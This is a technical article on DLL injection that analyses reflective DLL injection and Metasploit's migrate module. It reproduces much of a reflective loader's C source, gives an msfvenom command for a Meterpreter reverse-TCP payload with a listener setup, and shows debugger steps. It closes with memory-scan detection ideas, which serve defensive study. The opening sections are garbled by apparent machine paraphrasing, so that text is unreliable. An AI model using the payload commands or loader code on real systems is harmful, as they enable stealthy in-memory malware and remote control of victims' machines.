-->

A Detail Understanding of DLL Injection Attack

 

What are DLL Files?

DLL documents, or Dynamic Link Library documents, incorporate the sources an utility wishes to run successfully. These should encompass photos and a library of executable functions. DLL documents can't be opened via way of means of stop-users, they are able to best be opened via way of means of their related utility, which generally occurs whilst the utility begins offevolved up. Windows structures require DLL documents to recognize the way to use their sources, the host pc memory, and tough power area maximum efficiently. DLL documents generally stop with a .dll extension, however a few should stop in .drv, .drov and even .exe.

Preface

The DLL injection is  that permits a technique to actively load the required dll. In order to enhance stealth, malware generally makes use of DLL injection generation to inject its personal malicious code withinside the shape of dll into especially relied on processes. 

 The traditional dll injection method makes use of the LoadLibraryA() characteristic to make the injected technique load the required dll. A deadly flaw of the traditional dll injection approach is that the malicious dll is needed to be saved as a report at the sufferer host. In this way, the traditional dll injection generation leaves a massive hint at the sufferer`s host, that is without problems detected via way of means of protection merchandise which include edr. In order to make up for this defect, Stephen fewer proposed much less reflective dll injection generation, and open-supply it on Github. The gain of reflective dll injection generation is that malicious dll may be at once transferred to the goal technique reminiscence via the socket and different strategies and loaded, with none documents touchdown at some stage in the period. , the detection issue of protection merchandise is significantly increased.


This article will explain the reflective dll injection technology from the introduction of dll injection technology, the analysis of the MSF migrate module, the detection ideas, and the thinking of offensive and defensive confrontation.

Introduction

Types of DLL Injections

  • Conventional DLL Injection
  • Reflective DLL Injection

Conventional DLL Injection Attack

Regular dll injections are:
  • By calling the CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread() functions, the injected process creates a thread for dll injection.
  • By calling the QueueUserAPC()/SetThreadContext() function to hijack the existing thread of the injected process to load the dll.
  • The interception event is set by calling the SetWindowsHookEx() function. When the corresponding event occurs, the injected process executes the interception event function to load the dll.
Taking the method of dll injection using the CreateRemoteThread() function as an example, the implementation idea is as follows:

Get the injected process PID.
  • Enable SE_DEBUG_NAME permission in the access token of the injected process.
  • Use the openOpenProcess() function to get the injected process handle.
  • Use the VirtualAllocEx() function to open a buffer in the injected process and use the WriteProcessMemory() function to write a string to the DLL path.
  • Use the GetProcAddress() function to find the address of the LoadLibraryA function in kernel32.dll loaded by the current process.
  • The LoadLibraryA() function is called through the CreateRemoteThread() function and a new thread is started in the injected process so that the injected process loads the malicious DLL.

Reflective DLL Injection Attack

Reflective dll injection is just like traditional dll injection, however the distinction is that the reflective dll injection generation implements a reflective loader() feature in place of the LoadLibaryA() feature to load the dll, as proven withinside the following figure. The blue line represents the identical steps as injecting with a normal dll, and the purple container is the reflective loader() feature behavior, which is likewise highlighted below.

Reflective loader implementation ideas are as follows:
  • Obtain the base address of the unresolved dll of the injected process, which is the dll referred to in step 7 in the figure below.
  • Obtain the necessary dll handles and functions to prepare for repairing the import table.
  • Allocate a new memory to fetch the parsing dll, and copy the pe headers and sections into the new memory.
  • Fix import table and redirect table.
  • Execute the DllMain() function.

Analysis of MSF Module

The migrate module of msf is a module in the post phase, and its role is to migrate the meterpreter payload from the current process to the specified process.

After obtaining the meterpreter session, you can directly use the migrate command to migrate the process, and the effect is shown in the following figure:


The implementation of the migrate module is roughly the same as the ReflectiveDLLInjection project of stephen fewer , with some details added. The implementation principle is as follows:
  • Read metsrv.dll (metpreter payload template dll) file into memory.
  • Generate the final payload.
    • msf generates a small piece of assembly migrate stub is mainly used to establish socket connections.
    • Modify the dos header of metsrv.dll into a small piece of assembly meterpreter_loader, which is mainly used to call the reflective loader function and the dllmain function. Fill in the config block area of ​​metsrv.dll with the configuration information when meterpreter establishes a session.
    • Finally, splicing the migrate stub and the modified metsrv.dll together to generate the final payload.
  • Send migrate request and payload to msf server.
  • msf allocates a block of memory to the migration target process and writes the payload.
  • The remote thread created by msf first executes the migrate stub. If it fails, it will try to execute the migrate stub by means of apc injection. The migrate stub will call the meterpreter loader, and the meterpreter loader will call the reflective loader.
  • The reflective loader performs reflective dll injection.
  • Finally, msf client and msf server establish a new session.
The reflective loader of the migrate module directly reuses the ReflectiveLoader() function in ReflectiveLoader.c of the ReflectiveDLLInjection project of stephen fewer . Below we mainly focus on the behavior of the reflective loader.

Static Analysis

Get dll base address

ReflectiveLoader() will first call the caller() function
uiLibraryAddress = caller();

The caller() function is essentially a wrapper around the _ReturnAddress() function. The function of the caller() function is to obtain the return value of the caller() function, which is the address of the next instruction that calls the caller() function in the ReflectiveLoader() function.
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
Then, compare to the low address byte-by-byte whether it is the MZ string that identifies the dos header. If the content of the current address is the MZ string, the current address is regarded as the beginning of the dos header structure, and the dos header e_lfanew structure is checked. Whether the member points to the identifying "PE" string of the pe header. If the verification is passed, it is considered that the current address is the beginning of the correct dos header structure.

while( TRUE )
{
//Take the current address as the dos header structure, whether the e_magic member variable of this structure points to the MZ substring
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
//Determine whether the e_lfanew structure member points to the PE substring, if so, jump out of the loop and obtain the base address of the unparsed dll
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}

The Necessary dll Handle and Function Address

Obtaining the necessary dll handle is to obtain the dll name by traversing the InMemoryOrderModuleList linked list in the ldr member of the peb structure, then calculate the hash of the dll name, and finally compare the hash to obtain the final hash.

uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
uiValueC = 0;
ULONG_PTR tmpValC = uiValueC;
    //Calculate the hash value of the substring pointed to by tmpValC and store it in uiValueC
....
if( (DWORD)uiValueC == KERNEL32DLL_HASH )

The necessary function is obtained by traversing the dll export table where the function is located to obtain the function name, and then doing hash comparison.

uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
while( usCounter > 0 )
{
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
if( dwHashValue == LOADLIBRARYA_HASH
//Equal to the case of other function hash
            || ...
)
{
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
//Equal to the case of other function hash
                ...
usCounter--;
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
}

Mapping the dll to New Memory

The SizeOfImage variable in the Nt optional header structure stores the memory size occupied by the pe file after parsing in memory. So ReflectiveLoader() obtains the size of SizeOfImage, allocates a new memory, and then maps the pe sections to the new memory one by one according to the relative offset and relative virtual address of the file in the section headers structure.

// allocate new memory for SizeOfImage
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
...
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
// Copy all header and section tables to new memory byte by byte
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
// Parse each section entry
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
//Copy the contents of each section to the corresponding location in the new memory
    while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}

 Import Table and Relocation Table

First, the import table structure is changed, and the name of the dll where the imported function is located is found, and then the dll is loaded using the loadlibary() function. The address of the function is written to the IAT table in the new memory.

uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// when the end of the import table is not reached
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
//Use the LoadLibraryA() function to load the corresponding dll
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
...
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
    //IAT table
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
while( DEREF(uiValueA) )
{
        //If the imported function is imported by function number
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{//Import the exported function of the dll where the function is located through the function number index
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
            //Write the corresponding import function address to the IAT table
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
            //Import function imported by name
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}

The relocation table is to solve the situation that the program uses an absolute address to cause an access error when the imagebase specified by the program is occupied. In general, absolute addresses are used when referencing global variables. At this time, it is necessary to modify the assembly instructions corresponding to the memory.

uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
//If the value of the redirection table is not 0, fix the redirection section
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
//According to different identifiers, correct the value of each corresponding address
        while( uiValueB-- )
{
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
uiValueD += sizeof( IMAGE_RELOC );
}
uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}

Dynamic Debugging

On the one hand, this section demonstrates how to actually dynamically debug the migrate module of msf. On the other hand, it is a supplement. From the assembly level, will be easier to understand.

First generate the payload with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe
and use msfconsole to set listening
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
Then use windbg to start msf.exe on the victim machine and
bu KERNEL32!CreateRemoteThread;g
Get the address of the execution of the new thread of the injected process for debugging the injected process.

When a session connection is established, use the migrate command in msfconsole
migrate 5600 //5600 is the pid of the process to be migrated
Then msf.exe is broken in the CreateRemoteThread function, and the prototype of the CreateRemoteThread function is as follows
HANDLE CreateRemoteThread(
  [in] HANDLE hProcess,
  [in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in] SIZE_T dwStackSize,
  [in] LPTHREAD_START_ROUTINE lpStartAddress,
  [in] LPVOID lpParameter,
  [in] DWORD dwCreationFlags,
  [out] LPDWORD lpThreadId
);
So we need to find the value of the fourth parameter lpStartAddress, which is the content of the r9 register,


use
!address 000001c160bb0000
Go to the notepad process to verify that it is readable and writable memory, which is basically correct


The address at this time is the address of the migrate stub assembly code. We expect to directly break the function address of the reflective loader. We pass
s -a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000 is the lpStartAddress above, 3200 is the size of the memory block we got
Directly search for the MZ string to locate the address of the meterpreter loader assembly, and then locate the function address of the reflective loader


The meterpreter loader puts the address of the reflective loader function into rbx, so we can directly break it here and enter the reflective loader function, as shown in the figure below


The reflective loader first calls 000001c1`60bb5dc9, which is the caller() function. The implementation of the caller() function is relatively simple. There are two assembly instructions in total. The function is to return the address of the next instruction.


Here it is 0x000001c160bb5e08



After obtaining the address after the next instruction, it will compare whether the content of the obtained address is MZ. If not, the obtained address will be decremented by one as the new address for comparison. If so, it will be compared whether the e_lfanew structure member points to PE. If so, the address at this time is used as the base address of the dll. The debugging process will not be described in detail later.

Detection Method

Reflection DLL Injection technology has many detection methods. B. Memory scan, IOA, etc. Below are examples of memory scans, some scan strategies, and better detection points  I have come up with.

Scan Strategy:
  • Hooks the sensitive API and scans the memory of the injected and  injected processes when it encounters a sensitive API call sequence. 
  •  Skip the DLL in InMemoryOrderModuleList. 
The detection point is mainly related to the operation of the reflective charging function. The detection points are as follows: 
  • Strong feature matching _ReturnAddress() function. The preoperation of the Reflectiveloader function to locate the dos header is to call the _ReturnAddress() function to obtain an address of the current dll. 
  • The code logic that scans and locates the beginning of pe. As detailed in Section 3.1, we can weakly match this logic. 
  • Scan for specific hash functions and hash values. Since DLL injection requires many DLL handles and function addresses, you need to use a hash to compare the DLL name with the function name. You can match the hash function with these special hash values.  
  • Detects DLL injection as a whole. The inserted process actually has two dll files. One is the original pe file before analysis and the other is the pe file after analysis. Check the relationship between the two DLL files and you'll see that it's a reflective DLL injection tool.

References